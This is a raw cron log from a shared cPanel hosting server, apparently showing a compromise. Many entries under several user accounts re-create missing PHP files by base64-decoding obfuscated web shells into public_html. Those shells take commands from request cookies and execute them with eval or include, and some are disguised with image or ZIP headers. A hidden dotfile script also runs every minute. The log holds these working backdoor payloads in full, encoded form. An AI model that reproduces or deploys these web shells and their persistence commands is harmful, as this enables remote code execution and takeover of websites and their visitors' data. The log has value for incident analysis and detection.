Jun  7 12:13:01 medusa CROND[32656]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:13:01 medusa CROND[32663]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:13:01 medusa CROND[32658]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:14:01 medusa CROND[2079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:14:01 medusa CROND[2080]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:14:01 medusa CROND[2081]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:14:01 medusa CROND[2082]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:14:01 medusa CROND[2083]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:14:01 medusa CROND[2084]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:14:01 medusa CROND[2086]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:14:01 medusa CROND[2091]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:14:01 medusa CROND[2090]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:14:01 medusa CROND[2093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:14:01 medusa CROND[2094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:14:01 medusa CROND[2095]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:14:01 medusa CROND[2096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:15:01 medusa CROND[3744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:15:01 medusa CROND[3747]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:15:01 medusa CROND[3761]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:15:01 medusa CROND[3763]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:15:01 medusa CROND[3764]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:15:01 medusa CROND[3767]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:15:01 medusa CROND[3768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:15:01 medusa CROND[3770]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:15:01 medusa CROND[3765]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:15:01 medusa CROND[3773]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:15:01 medusa CROND[3774]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:15:01 medusa CROND[3772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:15:01 medusa CROND[3781]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:15:01 medusa CROND[3787]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3789]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:15:01 medusa CROND[3790]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3792]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:15:01 medusa CROND[3793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3791]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3766]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
